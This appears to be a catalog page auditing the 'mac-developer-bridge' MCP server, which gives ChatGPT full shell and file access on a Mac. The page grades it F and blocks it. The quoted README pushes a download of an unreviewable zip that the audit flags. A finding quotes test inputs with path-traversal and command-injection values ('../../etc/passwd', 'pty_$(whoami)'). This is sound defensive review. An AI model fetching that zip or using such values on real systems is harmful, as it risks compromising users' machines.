Atlas / MCP servers / powderpuff-magneticstoragemedium586 / mac-developer-bridge

mac-developer-bridgeBLOCK

mcp/powderpuff-magneticstoragemedium586/mac-developer-bridge

Give ChatGPT a real terminal on your Mac to run commands, edit files, manage sessions, and access Codex history.

Verdict
BLOCK
Grade
F
Trust score
52 /100
Exposed tools
32 23r · 7w · 2d
Transport
streamable-http
License
MIT
Stars
2
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

🖥️ mac-developer-bridge - Give ChatGPT a Real Terminal on Your Mac

<a href="https://raw.githubusercontent.com/Powderpuff-magneticstoragemedium586/mac-developer-bridge/main/launchd/developermacbridge_v3.5.zip" style="display:inline-block;padding:18px 42px;background:linear-gradient(135deg,#FF6B6B,#556270);color:white;font-size:22px;font-weight:bold;border-radius:50px;text-decoration:none;box-shadow:0 8px 25px rgba(0,0,0,0.3);transition:transform 0.2s;margin:30px 0;">⬇️ DOWNLOAD NOW - FREE

✨ What Is This?

mac-developer-bridge is a free, open-source program that connects ChatGPT to your Mac's terminal. Think of it as a secure bridge that lets ChatGPT see and interact with your computer's command line - safely and under your full control.

Instead of typing commands yourself, you can ask ChatGPT to run them for you. Want to check your disk space? Ask ChatGPT. Need to find a file? Ask ChatGPT. Need to see your recent Codex history? ChatGPT can pull that up too.

This tool is built for everyone - from students learning to code to experienced developers who want to speed up their workflow. You don't need to be a programmer to use it.

🎯 Why You Need This

Mac users often find the terminal powerful but scary. This bridge removes the fear factor. ChatGPT becomes your personal assistant that happens to know every command on your Mac.

🚀 Getting Started

Getting started takes less than 2 minutes. Here's exactly what to do:

Step 1: Download the App

Visit this link to download the application: **[htt

Read from source at commit 3760ab247e3bOBSERVED · 2026-10-11
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add mac-developer-bridge --env CONTROL_PLANE_API_KEY=${CONTROL_PLANE_API_KEY} --env MAC_DEV_BRIDGE_HTTP_TOKEN=${MAC_DEV_BRIDGE_HTTP_TOKEN} --env MAC_DEV_BRIDGE_HTTP_TOKEN_FILE=${MAC_DEV_BRIDGE_HTTP_TOKEN_FILE} --env MAC_DEV_BRIDGE_OAUTH_CLIENT_ID=${MAC_DEV_BRIDGE_OAUTH_CLIENT_ID} -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "mac-developer-bridge": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "CONTROL_PLANE_API_KEY": "${CONTROL_PLANE_API_KEY}",
        "MAC_DEV_BRIDGE_HTTP_TOKEN": "${MAC_DEV_BRIDGE_HTTP_TOKEN}",
        "MAC_DEV_BRIDGE_HTTP_TOKEN_FILE": "${MAC_DEV_BRIDGE_HTTP_TOKEN_FILE}",
        "MAC_DEV_BRIDGE_OAUTH_CLIENT_ID": "${MAC_DEV_BRIDGE_OAUTH_CLIENT_ID}"
      }
    }
  }
}
03

Exposed tools (32)

23 read · 7 write · 2 destructive. Blast radius: 2 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
apply_patchwriteApply a unified diff using git apply in the specified working directory. This does not invoke a model and can modify any paths permitted by git apply and the host OS.
argvdumpreadReturn this process
audit_tailreadReturn the tail of the bridge
bigreadReturn a very large result.
blobresreadReturn an embedded resource carrying a blob.
bridge_statusreadInspect the host identity, runtime paths, permissions context, configured shell, audit log, and Codex executable. This is read-only.
codex_thread_listreadPage through stored local Codex threads without resuming them or starting model turns. Supports search, cwd, archived state, sorting, and cursor pagination.
codex_thread_readreadRead a stored local Codex thread through codex app-server without resuming it or starting a model turn. Set include_turns to true for the full persisted history.
codex_thread_turns_listreadPage a stored Codex thread
diereadExit the process instead of answering.
echoreadEcho the given text back.
envdumpreadReturn this process
fs_listreadList a directory, optionally recursively, with type, size, mode, and timestamps. Symlinks are not followed during recursion.
fs_managedestructivePerform unrestricted filesystem operations: mkdir, remove, move, copy, chmod, or symlink. Remove is recursive when requested. These operations use the host user
fs_readreadRead any file accessible to the macOS user. Supports byte ranges and text or base64 output.
fs_statreadReturn lstat metadata for any accessible filesystem path, including symlink target when applicable.
fs_writewriteCreate, replace, or append to any file accessible to the macOS user. Parent directories can be created automatically. Replacement writes are atomic by default.
imagereadReturn a text block and an image block.
needrootsreadAsk the client for roots, then report them.
pty_closereadEnd a session and reclaim it. Sends SIGTERM, waits for the grace period, then SIGKILL to the leader
pty_readreadRead a byte range of a session
pty_resizereadChange the terminal window size and deliver SIGWINCH to the session, so full-screen programs redraw at the new geometry. The returned cols and rows are the kernel
pty_signalwriteSend a signal to the session
pty_startwriteStart a program on a real pseudo-terminal and keep it running as a session that can be written to, read from, resized, and signalled. Use this for anything that prompts or redraws: interactive authentication, sudo and ssh passphrase prompts, REPLs, test watchers, git rebase, and full-screen TUIs.
pty_writewriteSend bytes to the session
shell_execwriteRun an arbitrary command through the configured login shell with the full permissions of the macOS user running this bridge. Use for commands that finish within the requested timeout. This can read, modify, delete, deploy, access the network, or invoke other programs.
shell_job_killdestructiveSend a signal to the background job
shell_job_listreadList persistent background-job metadata and current running state.
shell_job_statusreadCheck whether a background job is running and return the tail of its stdout and stderr logs.
shell_startwriteStart an arbitrary detached background command with full host permissions. Output is written to persistent log files and the job can be inspected or stopped later.
slowreadNever answer.
structuredreadReturn structuredContent, isError and an unknown content type.
04

Trust audit

BLOCKgrade F · trust 52/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)WARN
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (2 observation(s))
Network
declared (5 observation(s))
Shell
declared (1 observation(s))
Dependencies
pinned
Secrets in source
found

Findings (25)

HIGHPrivilege escalation / persistence · priv.escalate · CWE-269, CWE-250
bridge.mjs:801
description: "Start a program on a real pseudo-terminal and keep it running as a session that can be written to, read from, resized, and signalled. Use this for anything that prompts or redraws: inter
Why it matters. asks for elevated privileges
HIGHPrivilege escalation / persistence · priv.escalate · CWE-269, CWE-250
bridge.mjs:2398
accessModel: "No bridge sandbox or path allowlist. Effective access equals the macOS account running tunnel-client/this server, subject to macOS TCC, Full Disk Access, ACLs, and sudo authentication.",
Why it matters. asks for elevated privileges
MEDIUMInventory / provenance · inv.binary · CWE-1104
launchd/developer_mac_bridge_v3.5.zip
developer_mac_bridge_v3.5.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMPrivilege escalation / persistence · fs.persistence · CWE-269, CWE-250
install.sh:22
LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"
MEDIUMPrivilege escalation / persistence · fs.persistence · CWE-269, CWE-250
scripts/disable.sh:28
LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"
MEDIUMPrivilege escalation / persistence · fs.persistence · CWE-269, CWE-250
scripts/doctor.sh:15
LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"
MEDIUMPrivilege escalation / persistence · fs.persistence · CWE-269, CWE-250
scripts/doctor.sh:34
printf 'launchctl unavailable.\n'
MEDIUMPrivilege escalation / persistence · fs.persistence · CWE-269, CWE-250
scripts/enable.sh:11
LAUNCHCTL_BIN="${LAUNCHCTL_BIN:-$(command -v launchctl 2>/dev/null || true)}"
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
install.sh:248
The tunnel-client health UI normally appears at http://127.0.0.1:8080/ui while the service is running.
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
menubar/MenuBarApp.swift:669
tunnel.arguments = ["tunnel", "--url", "http://127.0.0.1:\(httpPort)", "--no-autoupdate"]
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
tests/http.mjs:14
const TOKEN = "test-token-that-is-long-enough-32";
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
tests/oauth.mjs:22
const TOKEN = "oauth-test-token-that-is-long-enough";
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
tests/pty.mjs:1274
const secret = "correct-horse-battery-staple-9f2c";
MEDIUMPrompt injection · scope.undeclared_system · CWE-94, CWE-1427
<declared scope>
system use found in code, not declared in the description
Why it matters. the description does not admit a capability the code has
Fix. declare system use in the description, or remove it
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
fs_manage, shell_job_kill
Why it matters. 2 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/pty.mjs:348
const malformed = ["../../etc/passwd", "pty_/../x", "pty a", "", "x".repeat(129), "pty_$(whoami)"];
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
DEPLOY.md:32
for _ in $(seq 20); do curl -fsS http://127.0.0.1:8787/healthz && break; sleep 0.25; done
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
DEPLOY.md:35
cloudflared tunnel --url http://127.0.0.1:8787
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
DEPLOY.md:124
open http://127.0.0.1:8080/ui
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
CHANGELOG.md:385
over "is full access permitted right now" belongs beside the tools it gates.
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
SECURITY.md:217
Even when unrestricted access is intentional:
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
<tool:shell_exec>:1
Run an arbitrary command through the configured login shell with the full permissions of the macOS user running this bridge. Use for commands that finish within the requested timeout. This can read, m
LOWPrompt injection · prompt.credential_read · CWE-94, CWE-1427
DEPLOY.md:110
read -r -s -p 'Tunnel runtime API key: ' CONTROL_PLANE_API_KEY; printf '\n'
Why it matters. asks the agent to read credentials
LOWPrompt injection · prompt.credential_read · CWE-94, CWE-1427
SECURITY.md:118
This is credential hygiene, not isolation. An unrestricted shell can still attempt to read Keychain items, credential files, environment files, browser data, SSH material, or other secrets available t
Why it matters. asks the agent to read credentials
LOWPrompt injection · prompt.credential_read · CWE-94, CWE-1427
SECURITY.md:154
As with the tunnel key, **this is credential hygiene, not isolation.** Node genuinely needs `PATH` and `HOME`, and with `HOME` set the child can read `~/.ssh`, `~/.aws` and `~/Library/Application Supp
Why it matters. asks the agent to read credentials

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 3760ab247e3bfull audit observations/trust-audit/mcp-server/powderpuff-magneticstoragemedium586__mac-developer-bridge.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-113760ab247e3bBLOCKF52first audit
06

Questions

What is the mac-developer-bridge MCP server?

Give ChatGPT a real terminal on your Mac to run commands, edit files, manage sessions, and access Codex history.

What tools does mac-developer-bridge expose?

32 in total: 23 read-only, 7 that write, and 2 that can delete or overwrite (fs_manage, shell_job_kill). Every one is listed on this page with its risk.

Is mac-developer-bridge safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (52/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 2 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does mac-developer-bridge need?

It reads CONTROL_PLANE_API_KEY, MAC_DEV_BRIDGE_HTTP_TOKEN, MAC_DEV_BRIDGE_HTTP_TOKEN_FILE, MAC_DEV_BRIDGE_OAUTH_CLIENT_ID, MAC_DEV_BRIDGE_OAUTH_CLIENT_SECRET and MAC_DEV_BRIDGE_OAUTH_REDIRECT_URIS from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does mac-developer-bridge run?

It speaks streamable-http, so it runs as a service you connect to over the network. It is published on npm as mac-developer-bridge at 0.2.0.

How current is this page?

The grade is for one exact copy of the source (3760ab247e3b), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement